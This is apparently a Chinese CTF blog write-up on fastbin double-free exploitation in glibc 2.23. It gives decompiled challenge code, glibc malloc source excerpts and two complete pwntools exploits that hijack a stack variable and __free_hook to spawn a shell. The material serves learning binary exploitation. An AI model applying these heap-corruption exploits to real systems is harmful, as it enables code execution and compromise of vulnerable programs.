Double_free

double free

对于fastbins而言,一个chunk如果free两次,那么该单向链表中就存在两个相同的chunk,由于之前的两次free此时malloc的chunk的状态是free状态的。有什么坏处呢?处于free状态的chunk有fd和bk指针,通过篡改这两个指针就可以欺骗堆管理器返回任意地址的chunk,也就有了任意地址写的漏洞。

demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
int main()
{
	// fastbins
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("chunk a addr: %p\n",a);
	printf("chunk b addr: %p\n",b);
	printf("chunk c addr: %p\n",c);

	free(a);
	free(b);
	free(a);

	printf("1st malloc: %p\n",malloc(8));
	printf("2nd malloc: %p\n",malloc(8));
	printf("3rd malloc: %p\n",malloc(8));

	return 0;
}

这段代码依赖老版本的libc,使用docker构建ubuntu镜像

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Dockerfile
# 基于 Ubuntu 16.04
FROM ubuntu:16.04

# 更新包管理器并安装必要的工具
RUN apt-get update && \
    apt-get install -y \
    build-essential \
    wget \
    vim \
    git \
    libc6=2.23-0ubuntu11.3 \
    libc6-dev=2.23-0ubuntu11.3

# 安装指定版本的 libc 库和其他依赖
RUN apt-get install -y \
    gcc \
    g++ \
    make

# 创建工作目录
WORKDIR /home/demo

# 将代码复制到 Docker 容器中
COPY ./demo.c /home/demo

# 设置环境变量,使得运行程序时使用指定版本的 libc
ENV LD_LIBRARY_PATH=/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu

# 默认启动 bash shell
CMD ["/bin/bash"]
1
2
docker build -t ubuntu-16.04 .
docker exec -it ubuntu-16.04 bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
root@c2009cd551df:/home/demo# cat /etc/os-release
NAME="Ubuntu"
VERSION="16.04.7 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.7 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial
root@c2009cd551df:/home/demo# gcc demo.c -o demo
root@c2009cd551df:/home/demo# ./demo 
chunk a addr: 0x602010
chunk b addr: 0x602030
chunk c addr: 0x602050
1st malloc: 0x602010   # malloc的chunk是free状态
2nd malloc: 0x602030
3rd malloc: 0x602010

samsara

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int offset_v3; // ebx
  int choice; // [rsp+Ch] [rbp-44h] BYREF
  int offset_v5; // [rsp+10h] [rbp-40h] BYREF
  __gid_t rgid; // [rsp+14h] [rbp-3Ch]
  __int64 addr; // [rsp+18h] [rbp-38h] BYREF
  __int64 v8; // [rsp+20h] [rbp-30h]
  __int64 v9; // [rsp+28h] [rbp-28h] BYREF
  __int64 v10[4]; // [rsp+30h] [rbp-20h] BYREF

  v10[1] = __readfsqword(0x28u);  // 读取canary
  setvbuf(stdout, 0LL, 2, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  v8 = 0LL;
  puts("After defeating the Demon Dragon, you turned yourself into the Demon Dragon...");
  while ( 2 )
  {
    v10[0] = 0LL;
    menu();
    scanf("%d", &choice);
    switch ( choice )
    {
      case 1:
        if ( num_dword_20202C >= 7 )
        {
          puts("You can't capture more people.");
        }
        else
        {
          offset_v3 = num_dword_20202C;         // 偏移量
          *((_QWORD *)&chunk_ptr_unk_202040 + offset_v3) = malloc(8uLL);
          ++num_dword_20202C;
          puts("Captured.");
        }
        continue;
      case 2:
        puts("Index:");
        scanf("%d", &offset_v5);
        free(*((void **)&chunk_ptr_unk_202040 + offset_v5));// 两次调用进行double free或者UAF
        puts("Eaten.");
        continue;
      case 3:
        puts("Index:");
        scanf("%d", &offset_v5);
        puts("Ingredient:");
        scanf("%llu", v10);
        **((_QWORD **)&chunk_ptr_unk_202040 + offset_v5) = v10[0];// 修改数据
        puts("Cooked.");
        continue;
      case 4:
        printf("Your lair is at: %p\n", &addr); // 查看地址
        continue;
      case 5:
        puts("Which kingdom?");
        scanf("%llu", &v9);
        addr = v9;                              // 修改地址
        puts("Moved.");
        continue;
      case 6:
        if ( v8 == 0xDEADBEEFLL )
          system("/bin/sh");                    // 后门
        puts("Now, there's no Demon Dragon anymore...");
        goto LABEL_13;
      default:
LABEL_13:
        exit(1);
    }
  }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
unsigned __int64 menu()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("1. Capture a human");              // malloc
  puts("2. Eat a human");                  // free
  puts("3. Cook a human");                 // chunk_ptr = NULL
  puts("4. Find your lair");               // show addr
  puts("5. Move to another kingdom");      // change addr
  puts("6. Commit suicide");               // getshell
  printf("choice > ");
  return __readfsqword(0x28u) ^ v1;
}

思路

double free可以对任意地址写,可以考虑把chunk申请到v8然后修改数据进行getshell;如果没有后门可以malloc到got表进行函数劫持

  • 结合case4 case5和上面的变量可知v8 = v9 - 8,先调用case5再调用case4就可以知道v8的地址

    1
    2
    3
    4
    5
    6
    7
    8
    
      int offset_v3; // ebx
      int choice; // [rsp+Ch] [rbp-44h] BYREF
      int offset_v5; // [rsp+10h] [rbp-40h] BYREF
      __gid_t rgid; // [rsp+14h] [rbp-3Ch]
      __int64 addr; // [rsp+18h] [rbp-38h] BYREF
      __int64 v8; // [rsp+20h] [rbp-30h]
      __int64 v9; // [rsp+28h] [rbp-28h] BYREF
      __int64 v10[4]; // [rsp+30h] [rbp-20h] BYREF
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
          case 4:
            printf("Your lair is at: %p\n", &addr); // 查看地址
            continue;
          case 5:
            puts("Which kingdom?");
            scanf("%llu", &v9);
            addr = v9;                              // 修改地址
            puts("Moved.");
            continue;
    
  • chunk_0的fd篡改为v8地址

  • fastbin链表变成如下结构,只需再malloc两次就可以可以在栈上申请chunk

  • 栈区构造chunk,虽然pre_szie和size是没有意义的,但是v8的地址在chunk的数据区,后面直接getshell

    v8的地址在0x7fffffffe1a0是没有想到的,翻看伪代码都感觉不太可能,要不是动态调试还不一定能发现,还是要多动静结合

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-v"]

io = process("./copy_samsara")

sla = lambda delim,data : io.sendlineafter(str(delim).encode(), str(data).encode())
rcu = lambda delim : io.recvuntil(str(delim).encode())

def add():
	sla("choice >", 1)

def delete(index):
	sla("choice >", 2)
	sla(":\n", index)

def edit(index, data):
	sla("choice >", 3)
	sla(":\n", index)
	sla(":\n", data)

def show():
	sla("choice >", 4)  # Your lair is at: 0x7fffffffe278
	rcu('0x')
	addr = int(rcu('\n'), 16)
	success(f"addr:{hex(addr)}")
	return addr

def move(dest):
	sla("choice >", 5)
	sla("?\n", dest)

def getshell():
	sla("choice >", 6)

def dbg():
	gdb.attach(io)
	pause()

add()  # chunk_0
add()  # chunk_1
add()  # chunk_2

# double free
delete(0)  # a
delete(1)  # b
delete(0)  # c

add()  # chunk_3 <-> c
add()  # chunk_4 <-> b
move(0x20)
fake_chunk = show() - 8  # fake_chunk
edit(3, fake_chunk)
add()  # chunk_5 <-> a
add()  # chunk_6 -> stack_fake_chunk
edit(6, 0xdeadbeef)  # v8 == 0xdeadbeef
getshell()

io.interactive()

ACTF_2019_message

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int choice; // eax
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 canary; // [rsp+28h] [rbp-8h]

  canary = __readfsqword(0x28u);
  init_sub_400911(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        read(0, buf, 8uLL);
        choice = atoi(buf);
        if ( choice != 2 )
          break;
        delete();
      }
      if ( choice > 2 )
        break;
      if ( choice != 1 )
        goto LABEL_13;
      add();
    }
    if ( choice == 3 )
    {
      edit();
    }
    else
    {
      if ( choice != 4 )
LABEL_13:
        handler((int)buf);
      show();
    }
  }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// switch版
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
    int choice; // eax
    char buf[24]; // [rsp+10h] [rbp-20h] BYREF
    unsigned __int64 canary; // [rsp+28h] [rbp-8h]

    canary = __readfsqword(0x28u);
    init_sub_400911(a1, a2, a3);
    
    while (1)
    {
        menu();
        read(0, buf, 8uLL);
        choice = atoi(buf);
        
        switch (choice)
        {
            case 1:
                add();
                break;
                
            case 2:
                delete();
                break;

            case 3:
                edit();
                break;

            case 4:
                show();
                break;

            default:
                handler((int)buf);
                break;
        }
    }
}

delete

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 sub_400B73()
{
  unsigned int index; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num_dword_60204C <= 0 )
  {
    puts("There is no message in system");
  }
  else
  {
    puts("Please input index of message you want to delete:");
    read(0, buf, 8uLL);
    index = atoi(buf);
    if ( index > 9 )
    {
      puts("Index is invalid!");
    }
    else
    {
      free(*(void **)&dword_602060[4 * index + 2]);
      dword_602060[4 * index] = 0;   // 这里只是把长度置0,没有把堆的指针置0,可能存在uaf或者double free
      --num_dword_60204C;
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

hook

堆的hook函数主要用于在动态内存管理中自定义分配和释放内存,hook相当于给函数套了一个外壳,以malloc为例,若__malloc_hook这个函数指针不为NULL时,调用malloc时glibc会转移到__malloc_hook,这时调用malloc就相当于调用__malloc_hook__malloc_hook里面可以补充在malloc之前或者之后的代码逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
/* Forward declarations.  */
static void *malloc_hook_ini (size_t sz,
                              const void *caller) __THROW;
static void *realloc_hook_ini (void *ptr, size_t sz,
                               const void *caller) __THROW;
static void *memalign_hook_ini (size_t alignment, size_t sz,
                                const void *caller) __THROW;

void weak_variable (*__malloc_initialize_hook) (void) = NULL;
void weak_variable (*__free_hook) (void *__ptr,
                                   const void *) = NULL;
void *weak_variable (*__malloc_hook)
  (size_t __size, const void *) = malloc_hook_ini;  // __malloc_hook初始化
void *weak_variable (*__realloc_hook)
  (void *__ptr, size_t __size, const void *)
  = realloc_hook_ini;
void *weak_variable (*__memalign_hook)
  (size_t __alignment, size_t __size, const void *)
  = memalign_hook_ini;
void weak_variable (*__after_morecore_hook) (void) = NULL;
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static void *
malloc_hook_ini (size_t sz, const void *caller)
{
  __malloc_hook = NULL;
  ptmalloc_init ();
  return __libc_malloc (sz);
}

static void *
realloc_hook_ini (void *ptr, size_t sz, const void *caller)
{
  __malloc_hook = NULL;
  __realloc_hook = NULL;
  ptmalloc_init ();
  return __libc_realloc (ptr, sz);
}

static void *
memalign_hook_ini (size_t alignment, size_t sz, const void *caller)
{
  __memalign_hook = NULL;
  ptmalloc_init ();
  return __libc_memalign (alignment, sz);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// hook函数演示代码
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>

void *my_malloc_hook(size_t size, const void *caller) 
{
    printf("before malloc\n");
    void *ptr = malloc(size);
    printf("after malloc\n");
    return ptr;
}

void my_free_hook(void *ptr, const void *caller) 
{
    printf("before free\n");
    free(ptr);
    printf("after free\n");
}

int main() 
{
    // 指定hook函数,现在hook函数不为NULL
    __malloc_hook = my_malloc_hook; 
    __free_hook = my_free_hook;

    char *buffer = malloc(100);
    if (buffer) 
    {
        snprintf(buffer, 100, "hook_demo");
        printf("%s\n", buffer);
        free(buffer);
    }

    return 0;
}
1
2
3
4
5
6
// 理论上的输出会是下面这样
before malloc
after malloc
hook_demo
before free
after free

当然一直没有试验成功……

思路

  • 正常double free后篡改fd伪造chunk,还需要申请三个chunk才会到伪造的chunk

    原本的sla是直接强转字符串加编码的,这里传送数据会有问题,所以单独拆出来发送数据

  • 泄露puts地址开始ret2libc

  • __free_hook地址写入fake_chunk,system地址写入__free_hook,这时__free_hook不为空,后续调用free(ptr)就是在__free_hook(ptr)system(ptr)

  • 最后在任意chunk写入/bin/sh再free即可调用syetem("/bin/sh")getshell

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-v"]

io = process("./copy_ACTF_2019_message")
elf = ELF("./copy_ACTF_2019_message")
libc = ELF("./libc-2.23.so")
#libc = elf.libc

sla = lambda delim,data : io.sendlineafter(str(delim).encode(), str(data).encode())
rcu = lambda delim : io.recvuntil(str(delim).encode())
uu64 = lambda data :u64(data.ljust(8,b'\0'))

def dbg():
	gdb.attach(io)
	pause()

def add(length, data):
	sla("What's your choice: ", 1)
	sla(":\n", length)
	sla(":\n", data)

def delete(index):
	sla("What's your choice: ", 2)
	sla(":\n", index)

def edit(index, data):
	sla("What's your choice: ", 3)
	sla(":\n", index)
	sla(":\n", data)

def show(index):
	sla("What's your choice: ", 4)
	sla(":\n", index)

add(0x30, "aaaa")  # chunk_0
add(0x20, "bbbb")  # chunk_1
add(0x20, "cccc")  # chunk_2
delete(1)
delete(2)
delete(1)

fake_chunk = 0x602060 - 0x8

# b'X `\\x00\\x00\\x00\\x00\\x00'\n
#add(0x20, p64(fake_chunk))  # chunk_3 <-> chunk_1
sla("What's your choice: ", 1)
sla(":\n", 0x20)
io.sendlineafter(":\n", p64(fake_chunk))

puts_addr_got = elf.got['puts']
success(f"puts_addr_got:{hex(puts_addr_got)}")
add(0x20, "dddd")  # chunk_4 <-> chunk_2
add(0x20, "eeee")  # chunk_5 <-> chunk_1

#add(0x20, p64(puts_addr_got))  # chunk_6 <-> fake_chunk <-> chunk_0
sla("What's your choice: ", 1)
sla(":\n", 0x20)
io.sendlineafter(":\n", p64(puts_addr_got))

# get puts_addr
show(0)
response = rcu("\n")
message = response.split(b'The message: ')[-1].strip()  # remove 0x0a
puts_addr = uu64(message)
success(f"puts_addr:{hex(puts_addr)}")

# ret2libc
puts_offset = libc.sym['puts']
libc_base = puts_addr - puts_offset
system_addr = libc_base + libc.sym['system']
free_hook_addr = libc_base + libc.sym['__free_hook']
success(f"system_addr:{hex(system_addr)}")
success(f"__free_hook_addr:{hex(free_hook_addr)}")

# 虽然chunk_6和chunk_0本质上都是等价的,但是对于两个chunk的操作是不同的
# chunk_6是free状态的chunk_0,往里面写数据改的是指针
# chunk_0是inuse状态的,往里面写数据是往地址写数据,后面就变成了往__free_hook写system了

# edit chunk_6 <-> fake_chunk <-> chunk_0
sla("What's your choice: ", 3)
sla(":\n", 6)
io.sendlineafter(":\n", p64(free_hook_addr))

#edit chunk_0
sla("What's your choice: ", 3)
sla(":\n", 0)
io.sendlineafter(":\n", p64(system_addr))

# add chunk_7
sla("What's your choice: ", 1)
sla(":\n", 0x8)
io.sendlineafter(":\n", "/bin/sh")

delete(7)

io.interactive()

issue

为什么第一个chunk要设置为0x30而不是0x20 ?

  • 对于fastbin的malloc会检查chunk的size字段是否相等,是为了满足这一条件

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    
    // glibc 2.23
    void *
    __libc_malloc (size_t bytes)
    {
      mstate ar_ptr;
      void *victim;
    
      void *(*hook) (size_t, const void *)
        = atomic_forced_read (__malloc_hook);
      if (__builtin_expect (hook != NULL, 0))   // 检查__malloc_hook是否为UNLL
        return (*hook)(bytes, RETURN_ADDRESS (0));  // 调用__malloc_hook
    
      arena_get (ar_ptr, bytes);   // 内存分配
    
      victim = _int_malloc (ar_ptr, bytes);   // 处理内存各类分配策略,包括fastbin smallbin...
      /* Retry with another arena only if we were able to find a usable arena
         before.  */
      if (!victim && ar_ptr != NULL)  // 多线程处理逻辑
        {
          LIBC_PROBE (memory_malloc_retry, 1, bytes);
          ar_ptr = arena_get_retry (ar_ptr, bytes);
          victim = _int_malloc (ar_ptr, bytes);
        }
    
      if (ar_ptr != NULL)
        (void) mutex_unlock (&ar_ptr->mutex);
    
      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
              ar_ptr == arena_for_chunk (mem2chunk (victim)));
      return victim;
    }
    
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    
    // malloc.c --> _int_malloc
      /*
         If the size qualifies as a fastbin, first check corresponding bin.
         This code is safe to execute even if av is not yet initialized, so we
         can try it without checking, which saves some time on this fast path.
       */
    
      if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))  // 判断是否是fastbin
        {
          idx = fastbin_index (nb);
          mfastbinptr *fb = &fastbin (av, idx);
          mchunkptr pp = *fb;
          do   // 获取空闲块
            {
              victim = pp;
              if (victim == NULL)
                break;
            }
          while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
                 != victim);
          if (victim != 0)
            {
              if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))  // 检查chunk的size
                {
                  errstr = "malloc(): memory corruption (fast)";
                errout:
                  malloc_printerr (check_action, errstr, chunk2mem (victim), av);
                  return NULL;
                }
              check_remalloced_chunk (av, victim, nb);  // fastbin重新分配为chunk
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
    

为什么选择__free_hook而不是__malloc_hook ?

  • __malloc_hook的利用需要在__malloc_hook附近伪造chunk来进行覆盖,而__free_hook却不用这么麻烦
  • 由于malloc的参数一般都是size,参数填/bin/sh不起作用,对于__malloc_hook的利用一般是gadget;free的参数是ptr正好可用使用/bin/sh的ptr调用system("/bin/sh")

总结

double free的利用思路

  • 后门
  • 攻击__malloc_hook&&__free_hook
  • chunk分配到got表劫持函数
使用 Hugo 构建
主题 StackJimmy 设计